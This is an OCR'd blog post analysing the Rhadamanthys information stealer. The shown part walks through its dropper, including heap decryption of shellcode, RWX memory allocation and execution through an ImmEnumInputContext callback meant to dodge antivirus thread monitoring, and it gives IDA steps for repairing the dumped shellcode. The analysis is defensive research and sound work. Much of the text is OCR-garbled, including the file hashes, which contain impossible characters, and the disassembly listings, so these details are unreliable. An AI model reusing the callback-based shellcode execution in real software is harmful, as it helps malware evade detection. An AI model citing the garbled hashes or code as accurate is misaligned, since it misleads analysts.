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Threat Background

Rhadamanthys is a newly emerged Information-Stealer that is written in C++. according to multiple reports[1] the
malware has been active since late 2022.

In addition, the malware appears to masquerade itself as legitimate software such as AnyDesk installers[2], and
Google Ads[3][13] to get the initial foothold.

As for usage, in the dark web, the malware authors offer various deals for using the malware such as monthly or

even lifetime payments.

Page 1 of 52


https://elis531989.medium.com/?source=post_page---byline--3c4986966a88---------------------------------------
https://elis531989.medium.com/?source=post_page---byline--3c4986966a88---------------------------------------
https://elis531989.medium.com/?source=post_page---byline--3c4986966a88---------------------------------------
https://elis531989.medium.com/?source=post_page---byline--3c4986966a88---------------------------------------

https://elis531989.medium.com /dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88

N L L LS
ONLINE CRACH WALLET

1 MOUNTH 3 MOUNTHS LIFETIME

$199 $499 $999

Rhadamanthys

Also, the authors emphasize the malware's capabilities ranging from stealing digital coins, and system information

collection, to execution of other processes such as Powershell.

In this article, I will investigate the Rhadamanthys stealer and reverse engineer the entire chain, from the first

dropper to the malware itself.

As always, I will do it in a hybrid step-by-step tutorial and an actual presentation and will focus on the parts that I

personally find more interesting(the ways the malware tries to evade detection).

1. PART 1: The Dropper
- Unpacking mechanism: getting to the first shellcode
- Shellcode execution via Callback
- Investigating the first shellcode
- Fixing functions statically: Defining functions
- Fixing functions statically: Defining code
- Fixing the shellcode: Rebase the address
- Shellcode functionality
- Summarize the first shellcode
2. PART 2: The second shellcode aka Rhadamanthys loader
- Evasion technique: Multiple Anti-Analysis
- Evasion technique: Manipulate exception handling
- Evasion technique: Avoiding error messages
- Evasion technique: Creating Mutex and impersonating a legitimate
- Evasion technique: Unhooking API calls
- Config Decryption
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- Network
- Loader’s goal
3. PART 3: The Nsis module- The Rhadamanthys stealer
- Nsis loader
- Rhadamanthys stealer capabilities
- Resolving APIs dynamically
- Evasion technique: Check and possibly manipulate AVAST’s AMSI-related modules

The Dropper

File hash: 89ec4405e9b2cab987f2e4f7e4b1666e

property value

md5 B9EC4405E9B2CABIBTFIEAFTEAB1BGGE

shal EC48082347136444540COBARA4EARCFDCS 268680

sha256 AFO4EE03DEIATIE2FASISODODFOOFAFCAAERS ADTDFF32FI9F0DE D300 A4T466
first-bytes-hex 4D 54800003 00 00 00 04 00 00 00 FF FF 00 00 B3 0000 00 00 00 00 00 40 00 00 00 00 00 00 00 00
first-bytes-text B e i oot el comitias'ing et s oo omebui N o e b

file-size 189440 bytes

entropy 6.346

imphash 5231D45D27FAABOG469T CDB9DG12E981

signature Microsoft Visual C++ vG.0

tooling

entry-point 55 8B EC 64 FF 68 EB A4 40 00 68 28 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53
file-version

description

file-type executable

cpu 22-bit

subsystem GUI

compiler-stamp Mon Aug 22 14:14:26 2022 | UTC

debugger-stamp Mon Aug 22 14:14:26 2022 | UTC

resources-stamp

import-stamp

exports-stamp

The dropper

The Rhadamanthys’s dropper is a 32-bit file and similar to many droppers, it has relatively large entropy which

indicates potentially packed content inside of it.

One of the relatively new features of PEstudio is the ability to check if the ASLR[4] feature is enabled. In my
analysis, I always prefer to disable the ASLR so the addresses in IDA and in XDBG will be the same for tracking

purposes.

In PEstudio, go to “optional-header” and then to the ASLR bar, then you can see under the “detail” column if it is
false (disabled) or true (enabled).

Press enter or click to view image in full size
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= El chusers' desktop\dropperirad.dil | sraperty value detail
feead indicaters (35) ; I3

pY virustotal (error

> dos-header (54 bytes)

address-space-layout-randomization (ASLR)

data-execution-prevention (DEP) 10 true
BN dos-stub (64 bytes) T
e ek _heade IE’}T code-integrity (CI) 0000 falze
» file-header (Intel-386 st-ructuled-z_mczptiun-handﬁng {SEH) ﬂ 00 alse
2l optional-header (GUT) windows-driver-model (WDM) k. 2
tarminal-canmer-aware (TAAY AN trie
Check ASLR

Unpacking mechanism: getting to the first shellcode

As we observe the dropper in IDA, we see a large embedded “blob” in the .rdata section. Usually, these kinds of

blobs can potentially contain data that will be decrypted during runtime.

Press enter or click to view image in full size

.rdata:@B4BAS6C aFarqaaaascijag db ‘FARQAAAASCIIAQAEAAAFTIAAABSMIATAKTFKIENMGHMDAHBUXATGPNAVALSTIBEEQL"

.rdata:@848A56C ; DATA XREF: e_set_the_indirect_jump_sub_4@8628+19T0
Jrdata:@e4ea56C db “BAEAQELIQSAIUKQZBTQEAAAYICAAVMLTSBEYDELIUVEISRPERNCQZICKFOCBWLTAATH'
.rdata:@e4ens6C db *DYWRPUICEUL7ELIX4DWRIQOMIIWRPGANCIICANIABUST7EKBGEARABITHBAYACVRPI®
.rdata:@848a56C db ' IHSBIQNSSIAEDMXMABASFTQATWRIMRFCEQ4ASCAAAALSARNCORIAQBCEUL7EDPXAA"
.rdata:@848a56C db 'ADGETEAQAAEDMXSABAYHRNCSIQEIIXSICIPE7YHQAAD7BOFULTADIXSMMABATPSED"
rdata:@e4aa56C db *RPY7YHQAAEDMXBABCAFITIBRCKFISFULIBFALAQAAEFYBASHCAFSATUKEDVAXUUGA"
.rdata:@e40a56C db "@e2eeIlAACFUL4ADTXMAINQAQDGPICKFOSFULWCARFCTRCAFOSEBEAAMFYBAFOCAFSA’
.rdata:@e4aa56C db " FUKEDVAXURMATAACFUKFADIXWIWTPIANG7RCQIRAE IWRPMICEULSELIXWDWRIYOIC®
.rdata:@e48A560C db "BTEQAAAATWRPUANCIRCANTABUSWEKBGEARCAFIBATSRPYRNCIQIPIBEAABCKFSCFU’
.rdata:@848a56C db " LKWCARFCTRANIAAAABCAFSATUKEDVAXUSOAAAACFULWCAHNCRATIF 7GUQARLARNCEQ"
.rdata:@B48A56C db "A4FSAHSMAEJIXSIWRPIANCTQD7WIAAYSRPARNCEATPQAARABQPAASFUSIALICEUST"
.rdata:@B4eAS6C db "ELIXQIHYAPIBAISRPARNCTQQCARFC7RASFSQACWBELIXOEBCKFSSFULXBSIXQHBUE"
.rdata:@848A56C db " LIXSAGROGEXSQBAAARNGIIDTWAQAYSRPORNCRIA4F7SFESGEIBCFULSCARFCEEICAF'
.rdata:@e4aAs60 db " 7Q7UKGDSALVROCAFEQBULEEKIXYIQCELIXGEBCKFICFULBBFIBHQAAEJIXEOXIPIT'
.rdata:@e4ea56C db *ToP99GS0X4IWRIIOF IAZCAFT TEGEFAAKWFBYUKWKEZIOCLTORSKCMAAAAATSRPERN'
.rdata:@84ea56C db *C9ZC4ABQ7607BRRVIBICAACQ7EE7BHMABXQIAYOUMYIWSE IMAFTCZUDIZVXIBTGQPS "
.rdata:@848a56C db *EW7IHM4BXSEBOOQCIWAHLSCFXQEELY7PVTSODKWFEZAIMCRIVMVIITXNI999ZTSMTE"
.rdata:@848a56C db *GDEEWEAAAAELPUEI4ATPMKGEVSIENIBGFCUHIUQAAAAHIOBEGUQHIKXAIXEEFEYHY] '
Blob

The first activity the dropper do is to create a new heap

hHeap = HeapCreate(®, @x106080u, Bx1008668u);
vlG[1] = (int)var_small blob byte 42F6F3;
v1G[@] = (int)var_big blob 2 byte 425318;

if ( hHeap )

1
w15 = HeapAlloc(hHeap, Bu, ©xB8u);
if { v15 }
1

IpMem = HeapAlloc(hHeap, 8u, @x48u};

Creating new heap

Then, the function sub_408028 will be the core function that will deal with encrypting the blob. Inside

sub_408028, there are two interesting functions:

1. sub_406A28 - this function is responsible for returning an address containing the data to be written.

2. sub_408528 - a wrapper of memcpy

In the first iteration, the embedded blob will be written into the newly created heap
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I ] 2 5945 08 mov dword ptr ss:|[febp+3],eax
I f————i OF8C &0020000 | j1 rad.4084CE
.| /Get address PEH il
. & (| O0F0T TRl f FF76 push dword ptr ds:[esi+C]
Blg—— e E8 B4EFFFFF [call rad. 406428
P! e 00408274 FF7& 10 push dword ptr ds:[esi+10]
b @ 00408277 ] push eax
[ ] . fS 08 push dword ptr ss:|ebp+3s]
i ! « | \WTrites to heap 4 push dword ptr ds:[esi+4]
o & || CorosETE ] LB\D\_ push ebx
ie n— EZ A4020000 €21l rad.408528
- ! e NN4NEZ R4 BRIC4 1C add e=n. 1
Iy 4| m
2 sl g
rad. 00406428

blob in heap

Ltext:0040826F rad.d11:%826F #766F

§eoump 1 | @4 Dump 2 | W4 Dump 3 | W44 Dump 4 | @4 Dump 5 | I@Wﬂ‘«a\tchl | [x=] Lg

Address | Hex
41 51 41 45 JFARQAAAASCTJAQAE
49 41 00 00| AAAFTOAAABSMIA. .«

0O1F6386C B3 41 52 51
00 00 OO0 00

41 41 41 41
54 39 41 41
00 00 OO0 00

53 43 49 4A
41 42 53 4D
oo 00 OO0 OO0

O1F6387C | 41 41 41 46
0O1F&388C | 00 00 QOO OO

Decrypting the shellcode

Next, the same function will override the blob and will decrypt a shellcode.

! &0 ! 5945 08 mov dword ptr ssilfebp+5],eax
I s il CGEt address 8C 60020000 | j1 rad.4084CE
! i eof0 : 57 push edi
oy @ (| 00405826C FF7& 0C push dword ptr ds:[esi+C]
i I & || O0O40826F ES8 B4E7YFFFF reall rad. 406A28
. e 00408274 FF7& 10 push dword ptr ds:[esi+10]
I & 0p4NRZFFT S0 push eax
[ &0 H i 08 push dword ptr ss:|lebp+5]
i i ] Dw"tes to hEﬂP 3 push dword ptr ds:[esi+4]
ol @ (| O0FTTITE [ push ebx
P e || oo20827F ES A4020000 call rad.408528

* & B3I d4d 1 ardd s=n 1

1] [

oump1 | @4 Dump 2 | W4 Dump 3 | W Dump 4 | @4 Dump 5 | B watch 1 | [x=] Lc
Address | Hex

01F638&C |EB 23 00 00|00 41 41 41|53 43 49 4441 51 41 450 e#... SEIJAQAE.
01F6387C | 41 41 41 36|54 39 41 41|41 42 53 4D |49 41 AAABESMIATA
O1F&388C | 4B 54 46 4B |39 45 4E 4D |47 4D 44 414 EE L5EB| KTFKIENMGMDAHBLUX

O1FE6389C | 41 B 49 42 45 45 51| AJGPN4V4LSIJEBEEQ

D1F638AC 4CDECI"ﬂ}tEd shellcode =% 21|43 55 48 51|LBAEAQEL 1QSATUKD
D1F638EC | 37 : | 43 41|41 56 4D 4C | 7ETQEAAAYICAAVML

Decrypting the shellcode

Then, a call to VirtualAlloc will happen to create a newly allocated memory followed by memcpy to copy the
shellcode from the heap to the new memory. Lastly, a VirtualProtect API call will be used to change the

permission of the memory segment to RWX.
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I all nranpozs ] Ecac w'ti{-l dword ptr ds:[<&VirtualAlloc=]
H test eax,eax
Allncatlng new memﬂr’f 83000000 | mov dword ptr ds: [ebx+AS] ,eax
r----® [ OO0F0EZ4E w 75 O jne rad.40834F
i #| 00408347 S8ETF 04 mov edi,dword ptr ds:[edi+4]
] ®( 00405344 8043 S50 Tea eax,dword ptr ds: [ebx+50]
;i '_““‘%““‘“ h EE C3 jmp rad. 408312
F77 10 push dword ptr ds:[edi+10]
Cupylng rom Eﬂp F push dword ptr ds:[edi+C]
#( 00408355 4] push eax
®| 00408356 E8 ALBCFFFF €81l rad.401000
F— B3C4 0OC add esp,C

B4y Dump 1 4% Dump 2 WYy Dump 3 | B4y Dump 4 | B4 Dump 5 | 0 watch 1 | [x=] Locals

Address | Hex ASCIT

00450000 | E8 23 00 00|00 90 90 30|40 £9 FC 00 00 e;;....._.@...*(u..
00450010 54 CA AF 91 FA 97 02 4C|dA..TE .-3..0..L
00450020 |F6 EA BA S5C[90 90 90 90|58 OB%h ... . XEad, L§.
00450030 QPeg...A..U.7.7.

51
00450040 aa| Shellcode
00450050 |EE U7 BB 35 [F& 30 89 45|F4

.E..Eil.E. .E@.ed.
45 10 73|E, F08 FO FO:E . 5

Decrypting the shellcode
The entire chain can also be seen in the following pseudo-code of IDA pro:

Press enter or click to view image in full size

// Allocate memory for the shellcede

|| (v24 = virtualalloc(®, *(vZ3 + 16), @x1l@88u, 4u), (*(vd + 168) = v24) == 8) )
{

v23 = *(v23 + 4);

w22 = (v + 88);

continue;

}

break;

memepy (w24, *(v23 + 12), *(v23 + 16)); /f copy the shellcede to the allocated wvallec
return 1;

case 4:

v28 = (*(Size + 4) + *(v4 + 148));

T
if ( IsBadCodePtr(vze) ) Allocate new memory
return @;

'-:-§1(=r"('-'2)+ 12); and write the shellcode to it
s w2l

return 8;
return (v20)(*(v2 + B) + *(v4 + 168), vii, *{v2 + 16), &al);
case 5:
if ( sub_4@5C28(*(Size + 4), 4, =a1) )
return @;
v18 = e_return_address_of data_to write_sub_4e@6A28(*(v2 + 4), v3);
ModuleHandled = GetModuleHandleA(v1d);
*(v4 + 148) = ModuleHandled;
return ModuleHandlea |= @;
case 6:
if ( sub_4@5C28(*(S5ize + 12), *(S5ize + 16), al) )
return @;
al = *(v2 + 8);

if (21 ¢0) Write and decrypt the
siiclbs shellcode in the heap

/{ returns the addresz that contains the data to write
ptr_address_of_data = e_return_address_of_data_to_write_sub_406A28(*(v2 + 12), v3);

// write the “base”™ and overwrite it after
return e_write the shellcode to heap sub_488523(v4, *(v2 + 4), al, ptr_address_of data, *(v2 + 16});

Decrypting the shellcode

The next thing we’ll do is go to the address 004065A1 in the WinMain function (remember, ASLR is disabled so

we can navigate easily in IDA and the debugger).
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We could see that the value of the shellcode (that is dynamically located in the EAX register) is being transferred
to another offset variable 42F6F0.

Shellcode assigned statically

by
if ( wis[a2] )
e_ptr_shellcode off 43F&F@

v15[42];

Hegprree(HEap, @, vis )3

¥

HeapDestroy(hHeap);

sub_485728(@, sub_487228, vl

}

return 8;

}

B

b

Shellcode assigned dynamically

E CFPU

QGraph | | Log | | ) Notes | ® Breakpoints | B Memory Map | [}V call Stadk | & SEH | 2] 8

Pl 00406541 | A3 FOF64200 |mov dword ptr ds: [42F&F0],eax | Hide FPU

] FF75 EC push dword ptr ss:|[ebp-14] ""'-..,_.‘.

: & 20 push 2 Eax —oow o000)

. FF75 F8 push dword ptr ss:|[[ebp-&] e ":"340

. E FF15 44204000 | €2Vl dword ptr ds:[<&HeapFree:] K ;JiFE:ESED

#| D040G65E4 FF75 F3 push dword ptr ss:[flebp-38

| ooanesE7 FF15 8CA04000 |€all dword ptr ds:[<&HeapDestroy=] 000000EL

® || 004065ED 8045 FO Tea eax,dword ptr ss:[febp-10] OD1EFEFC

e || oo4065C0 50 push eax []|_ ESP_ 0O18FEE4

e | 0O4065C1 68 28724000 pusn rad. 407228 —

e || 004065CH 6A 00 push 0

e[ ooanescs ES SBFIFFFF | call rad.405728 Default (stdcal)

@ | 0040865CD 33C0 XOr eax,eax 1: [esp+4] 0000

®| DO40B85CF c9 Teave 2: [esp+8] FEFD

e || 00406500 C2 1000 BEE 10 | 3: [esp+C] 01DD

Bl :,'l"““ o == | —— r 4: [esp+10] 01Dl
[esp+14] 01D

000000
000000

FEFDEO
01DDO0C

00450000 | E8 22 00 00|00 90 90 90|40 04 00 00(59% FC 00 00(B#......8...Y0U.. 010017
00450010 |54 C4 01 00|54 CA AF 91|AC 33 06 03|FA 97 02 4C|dA..TE .-3..0..L 010D 0C
00450020 F6& EA BA 5C |90 20 20 20|58 40 40 40|8B 4C 24 04 ﬁé?'\. P MEER.LE, = 000008
00450030(51 50 E& 67|02 00 OO0 C2 |04 00 55 8BB|EC 83 EC OC QF’Eg._._.A...U.‘I.I. 3 004027
00450040 8B 45 O&8 89|45 FC 8B 45 |0C B9 45 FE|E3 65 F4 00 . E..EU.E.. E6.E0. +Echcn

Assign the shellcode address

Shellcode execution via Callback

After having a shellcode with EXECUTE permission, we need a way to execute it, in this case, the authors choose

a cool trick in form of a Callback function.
The shellcode execution will go as the following:

1. The function sub_405728 is responsible to invoke the API call ImnmEnumInputContext
2. sub_405728 receives as a parameter function named sub_407228 which is just a wrapper for another

function that jumps to the shellcode address
3. The final result is that ImmEnumInputContext will get the address of the shellcode in its second argument

“Ipfn” and will execute it.

Press enter or click to view image in full size
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ImmEnumlinputContext function (imm.h)

Article = 08/09/2022 - 2 minutes to read

Retrieves the input context for the specified thread.

Syntax

C++

BOOL ImmEnumInputContext(

[in] DHWORD

idThread,

Ilin] IMcEnuMPROC lpfn,

)i

[in] LPARAN

1Param

ImmEnumInputcontext function in Microsoft documentation

The logic can be seen in the following pseudo-code

Press enter or click to view image in full size

BOOL  stdcall sub 485728(DWORD al, BOOL ( stdcall

——] sub_ses7za(e, sub_serzzs, ic
¥ =

e_ptr_shellecode_of f_42F&F2 = v15[42];
HeapFree(hHeap, @, wi5S);

HeapDestroy{hHeap) 3

return @;

return ImeEnumInputlontext(al, a2, aZ);

}

Shellcode execution

*a2) (HIMC, LPARAM), LPARAM a3)

~
int  stdcall sub 487228(int al, int a2}

j_nullsub_2(az);
return @;

Y
%
\
LY
ke
int _ stdeall §_nullsub 2(int al}
{

return e_ptr_shelleode off_s2FGra(al);

}

The reason for choosing this way is most likely to evade anti-virus products that rely on CreateThread \

CreateRemoteThread as a trigger point to scan addresses that may contain malicious content.

EﬁCPU

0045 0000
00450005
00450006
00450007
004500058
00450009

&9 Graph | | .t Log | [ 1 Motes

#® Breakpoints ¥ Memory Map | [ call 5t

EE 23000000

o4 00

Shellcode entry point

Co=zoozo
00450013
00450017

Shellcode entry point

[T e

005 4CA AF
91

call 450028

nop

nop

nop

inc eax

add al,0

add byte ptr ds:[ecx-4],b1
add byte ptr ds:[eax],al
les eaw,fword ptr i : [ecx]
add byte ptr ds:[edx+ecx*8-51],dl
xchg ecx,eax
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Investigating the first shellcode

To investigate the shellcode we can choose one of the two:

1. Dump the entire allocated buffer and run it in Blobrunner[5]

2. Continue with the code dynamically (because why not?)
To investigate it statically, we obviously must dump the shellcode, to do it do the following:

1. Right click on the address of the shellcode and click “Follow in Memory Map”

auu DUl oy TUA
ol | B . xchg edi,eax
0| | Binary add c1,b:;rte ptr ds:[esi+esi*8-16]
By p B0 mov edx,2090305C
U1 Copy nop '
. pop eax
D Follow in Memary Map I inc eax
- inc eax
E Follow in Disassembler sl
ey : mov ecx,dword ptr ss:[fesp+4]
#%  Setlabel : push ecx
L 3 push eax
&  Modfy Vaue Space | gETl 45029E
@ . ¥ BEE 4
Breakpoint push ebp
[ T mov ebp,esp
/2l Find Pattern... Ctrl+B b esp:c
) mov eax,dword ptr ss:[febp+s]
n Find References Ctrl+R mow dwur'*d ptr ss:[lebp-4,eax
mov eax,dword ptr ss:|febp+C])
-{i R Ctrl+Y mow dwu:rrr'd ptr ss:[Bebp-8§,eax
3 . . 0 and dword ptr ss:febp-Cjl,0
— m Syncwith expression jmp 450059 d
fr i mov eax,dword ptr ss:[lebp-Cj
L S8 Watch DWORD S R
[ mov dword ptr ss:febp-CJ,eax
'i-' S LA mov eax,dword ptr SS:EEPJI‘EI—C]
| cmp eax,dword ptr ss:|flebp+10j]
- & Allocate Memary jae e
= . mov eax,dword ptr ss:[lebp-4§
] B | o add eax:dword ptr ss:jlebp-Cj
! mov ecx,dword ptr ss:{febp-8
L | &8 Hex » add ecx,dword ptr ss:|flebp-C
! mov cl,byte ptr ds: [ecx]
| A:  Text 3 mov byte ptr ds:[eax],cl
i jmp 450052
-1 @ Integer » leave
BEE C
.y Float r !
|lli1|'||Du ﬁ Address ) Dump 4 | g4 Dump 5 | F watch 1 | [x=] Loy
Disassembly ASCII
00450 04 00 00|59 FC 00 00| e#......8...Yi..
B4 CA AF 91 |AC 33 06 03 |FA 97 02 4C d.&..TE —3..U..L
00450020 F& EA BA S5C |90 90 90 90|58 40 40 40|8B 4C 24 04| desh....Xa2a.L%.

Going to the memory map

2. Then, in the memory map, right click on the shellcode address and then “Dump Memory to File”
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004c0000 § | @3  Follow in Disassembler
004C 3000
00400000 Y giy  Follow in Dump
QO4ES000 #
00650000 Dump Memaory to File
00653000 P .
00660000 5 Comment H
007 FODO0
0096000 | {}  vara... Ctrl+Y
O1BFOO00 Lﬁ]
01C 02000 Entropy...
01DD 0000 2 By
010D 7000 Jol  Find Pattern... Ctrl+B
702B0000 N
FOZBLOOO B Switch View
70208000 %
7OZDEOOD -
702DFO00 & Allocate memary
70900000 .
7O9EQDO0 = Freememory
71680000
71681000 &3 Add virtual module
71682000 _
71683000 (&5 Goto 4
71654000
73680000 | g _
FAFO0000 w et Page Memory Rights
F4F0L000
F4F 02000 .
- 4FQADGO ®  Memory Breakpoint r
F4F0BO0O0
F4F 10000 B 3
FAF11000 L] | Copy
Dumping the shellcode

Then, drag and drop the dumped file in IDA.

To summarize the steps until now see the following graph

Press enter or click to view image in full size

Dropper

Crealing new heap

| Shellcode written
| to new heap

VirtualAlloc

-
>

Shellcode copied to
allocated memory

immEnuminputCantext

—_—|

Fixing the shellcode: Defining functions
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After the shellcode was loaded, we can see 5 functions that appear in the Function name bar. In addition, in the

navigation bar, we can see the colors blue and brown.

L1

Library function [l Regular function [l Instruction

Hl |

Functions

Function name

sub 34
sub_f7
zub_249
sub_36E
sub_40C

B [ R S R

According to the IDA website[6] blue means “Regular functions, i.e. functions not recognized by FLIRT or

Lumina.”

And brown means “Instructions(code) not belonging to any functions. These could appear when IDA did not

detect or misdetected function boundaries, or hint at code obfuscation being employed which could prevent proper

function creation. It could also be data incorrectly being treated as code.”

And when we look at an area in the IDA view that contains both we see the following:

Seg@en : BEABA2DS

seg@is: B6eeer29s loc 295:

seghaa: aaeaa2as
seghad: peasazos

segled: peeRe298 loc_203:

seghed: peRae2os
seghen: pepae298
segaen: peaeazon
segled: Bepae290
seglis: peee2sC
Seg@Re: peaRa290

seg@ps: BeBae290 sub_ 249

seglBa:paaea2o0
segBaa: eaara2sE
segbad: BeeRa2oE
SegeRa: paaeR2oF
segbad:paeaa2Al
segeed: peapaiad
SEgene: paRRRaIAS
SEgaae; paRRRa2AG
Segiaa: eaaeazarz
Segaaa: eaaea2Ac
SEgBad: eaaea2AE
seghad: paaaazEa
segBad: Beeaa2B6
segBed: peera2Ba
segded:seeaa2BC
Segene: paeea2ED
segeod: peooazce
Seglaa: eaaea2Cs
Segiaa: ebbeaiCa
SeglBd: peara2Cs
Seg@aa: eaaeazca
Segiiaa: eaaeazch
seglad: paara2CF

Defining functions

; CODE XREF: sub_249+461j
edi, [eax+l@h]
3 CODE XREF: sub_249+1CTj
5 sub_ 24942617
eax, edi
edi

esi

ebp

ebp, esp

esp, l4h

ebx

esi

edi

sub_249

ebx, ebx

eax, ebx
loc_367

edi, [ebp+8]
ecx, [ebp-14h]
ecx

[ebp-4], ebx
ecx, [edi+@cCh]
ecx

eax

sub_ 36E

dword ptr [edi+8]
48h ; @'
dword ptr [ebp-8Ch]
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We can obviously see that the brown color is a legit code, however, IDA doesn't consider it as a code and therefore

does not show it as a function.

To fix this, we can just scroll and observe statically from where this function starts and when it ends.
In our case, it starts at the address 000029E, we also see the prologue:

push ebp

mov ebp, esp

And ends at the address 000036B with the epilogue:

leave

retrn

Press enter or click to view image in full size

: segPee 1 2eeeR367 loc 367: ; CODE XREF: sego@f:oeeenieetj
| SeE0Ba: eaees367 ; 5egees:Bseseaznsty ...
© = *° cepepe:easenisy pop edi
¥ |segena:oaoan36s pop esi
® lsegona:op000369 pop ebx
“ lsegeo®:eoean3sa leave
® lsegene:eeean3sh retn 8
€009 BePeR36E
Sep000:0000R35E ; sssmmssssssssss S U B ROUT I N E sssssssssesssesssessssseseseeeee s snns
5e5088 : BeBeB36E
segBBe 1 880@B36E ; Attributes: bp-based frame
5eg@Be : 2apeB36E
seg@Be:8eeee36E sub_ 36E proc near 3 CODE XREF: seg@@f:@epeazcstp
Segeee: eaean3sE
seg@ee: eaeae3eE var & = dword ptr -8
seg@Be: eaeea3sE var_4 = dword ptr -4
SegeBe :BReBA3GE arg @ = dword ptr 8
Segles:Beeea3sE arg_4 = dword ptr 8&Ch
seg@Be:2eeeB36E arg & = dword ptr 18h

Defining functions

Now that we know the function boundaries, we can mark it all, and click “P”

ebp
ebp, esp
esp, 14h
ebx
esi
edi

sub 249

ebwx, ebx

eax, ehx

loc_ 367

edi, [ebp+8]
ecx, [ebp-14h]
ecx

Defining functions

Then, we can see that the brown code is now considered a function, and a new function sub_29E was added to the

function name bar.
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|

|«

"

i Library function [l Regular function [l Instruction Data Unexplored External symbol [l Lumina function
Fru 0 & x| DA View-A <= Hex View-1 B.]

o SegdBe: BEBER20D
Segoen : DPBB 2oL

Function name

sub_34 segPoB; BBBPB29E ; =============== S UB RO U T I N E ========f
sub 77 segBBs : BaRsE2oE .

sub_249 z:gﬁm%wigg ; Attributes: bp-based frame

segle0:eReEa29E sub_29E proc near

sub_36E Seg@ee: BBBERI0E

cub 40C segBen: @aeee29E var_14 = dword ptr -14h

segBbe : BeBea2aE
scgles: eeaea29E var_&
SegBes: BeeeszaE var_4
segied: eeaea2aE arg @
segiel: eeaea2at arg_4
=egbbe: BeaeB2oE

<
o
=

|
[l
1

dword ptr -8Ch
dword ptr -8
dword ptr -4
dword ptr 38
dword ptr @Ch

segBen: peBEe29E push ebp
segBeh: BREEE29F mov ebp, esp
segBEd: BREEE2ZAL sub esp, 14h
segBen: BRERE2AL push ebx
segBen: BRBEA2ZAS push esi
segBEn: DRBEE2AG push edi

Defining functions

NOTE: When fixing functions do not assume that the first “retrn” is the end of a function, pay attention to the

jumps that might bypass this return and might indicate a longer function.
Fixing the shellcode: Defining code

In addition to the convenient scenario of a code that looks like code and just doesn't interpret as a function, we

have a more tricky scenario when we need to change the data itself.

At the beginning of the shellcode, we can see dynamically the assembly code “call 450028 that suppose to take
us to the address in 450028 which starts with “pop eax” and eventually calls to the function in the address 45029E
which in our case called sub_29E.

However, as we can see, statically we just see jibberish and it does not look like the dynamic view.

Press enter or click to view image in full size
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SEE000 NS30a00R dh BESh

1

g OO D OBMMNL db 23h ; & O35 000% 4 non
Seg oG a0 align B A48 0004 L] nog
segidd aeinat off 8 dd offset loc_sd@ ; DATA XREF: sub_?7+224r x::m; !S "'f‘é e
TeEBeRpeanater of f_C ad offser loc_FCS0 5 DATA XREF: sub_T741CEF BO350008 04 00 agd al,0
R db Bsh ; d xﬂgmg: [OED FC I% m& g :5! ﬂ!‘i"]im
. 4500 0000 a € pur ds: [eax] .2
Segm:mli db eLih (0450010 6410501 1es eax, d pur WE Ceex]
BT i Ll e v 1 0350015 QO54Ca aF add byte pur ds:[edx-ecx-B-51],d1
£eg000 00000014 db 54h ;T o geis00L7 f xeng eo, cax
scgRad - ananaals db 8cah, BAFh, 81h 20450019 1306 ¥or eaw,dword pre ds:[es1]
s g R0 18 dd 30633ACh, 4CR2UTFAR, SCBAEAFEh, J00G080Gh, 40484851 CO4%0018 gﬁ!la '%Qg;]“x
eg000 1 0ARABLE dd a7e4cEER 00450010 e L g ) -
£ag 000 ERI0RID dword_30 dd 67EESES1R ; DATA XREF: sub_249+04r e Fra7a -l o B 0
SOE00RORGBRId | rrrssssssssssssrrsEsss s AR E AR E RS AT TR s TR snmr Bo4500327 gg a0
= e a0 5 add al, [eax] poasoais ]
SageRABAAR3E add gl al FEpTH - Ine ook
SegRSd aSRaRE add al, @ WH'SD'U;F :gﬂi - 1Rg eax a ——
SO0 - HOAD03A o 09450050 4 mov ccx, dword pur ss:ffespe
e . " 69450030 51 pUSH £Ck
SEEOOOTGBANGNSA | sssssssssssssaa 50 B R OU T I N E e s o s i e 0450032 ush eax
SO DDA | |eesso0iz ES %70I0000 350290
‘Segled:aeaeanas ; Attributes: bp-based frase . E—:sﬁ:‘
Sephbl0ataiia 03450018 [ Bov &bp,e5p
SEERODIRBIRANA Subl_34 proc near ; CODE XREF: sub_29E+8Alp L |20 3EC o LR TTR
£ eg 00 DRI ; sub_28Esadip
SegRonBRAEanIA
SEZiOd SeaeaRia var_C = dword ptr -8Ch
SegiO0:G00B03A var_B = dword prr -8
SeZBOdaaRaRIL var_4 = dword ptr -4
oot A0M03A arg 0 = dword pte &
SeZBOaaeaeaniA arg 4 = dword ptr 8Ch
$eg00:000MM03A arp_B = dword ptr  10h
5eglod :anaean3s
5 g BN Bk push  ebp
FEEROR REnAn3E =y abp, &5p
£ SRR D sub esp, BCh

Defining as code

To fix it, we need to tell IDA that some specific addresses are actual code.

For example: in the dynamic view, we can see that the first 5 bytes are:
Call 450028

Therefore, we should tell IDA that the first 5 bytes are code, then, we can tell IDA to look at it as a function.
To do it, do the following:

1. Mark the data
2. Right click
3. Click on “Undefine”

lsega00 : 00006000 db BEB

egB0e : 2Benaea db |:D Copy Cirl+C
5eg000: BOB0000E off 8 dd offset lgc a4  Abortselection Bl
segeoe:aeaapae. off C dd offset 1ldc F ﬁ Analyze selected area

seglae: aeneaale db 64h ; d

Seg@ad: peeaeall db @C4h List cross references to... Ctrl+ X
seghee: aaeaeal2 dw 1

segene: 6eaaBe14 db 54h ; T LT,_‘ Enter comment...

seglpd: aeaaaals db @CAh, @AFh),

Seg000 : 00000018 dd 3@8633ACh, 0 @ Enter repeatable comment... 2
segled: 0aeeeals dd 4244C8EBh Create struct from selection
giocots Bkl b-ar o

Defining as code

Then, mark the 5 bytes and tell IDA to look at it as Code.

Copy Ctrl+C

a Abort selection Alt+L
[sepeee : ceceeees db 98h @l Analyze selected area
|seg@aa . papRRRaGc db  98h
[segeas : BEBBBEE T db  9eh @l Code C
© amRA6  RRRARGRR ~AFF R Ad afFfeat Tar- AAR

Defining as code
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i,? Please confirm @

Perform analysis or force conversion of the selected bytes to instruction(s)?

Defining as code

After doing it, we can see that the same data looks like the code from the debugger view

S egBla : BERBaE0e call near ptr dword_13+18h
SEgaea : eanaeaas nop
SEgaea : 6apaeaan nop
SEegaes : eapaaaa’ nop

SEgaes : eapaeaas

Defining as code

And as said, we can always turn it into a function of its own (because why not?)

segBoQ: Baeeeee8 sub @ proc near
Eegeen: pReRERER call  loc 28
Segaea : eapaaaas nop

SEgeea: sapaeaac nop

SEgaea: aapaaaay nop
seglla:eaeaaeey sub B endp

Defining as function

As we see, the function jumps to the address at “loc_28” (IDA) or “450028” (debugger), however in IDA this
content also needs to be fixed. Combining the two approaches of defining as code and defining as function can fix

will do the trick.
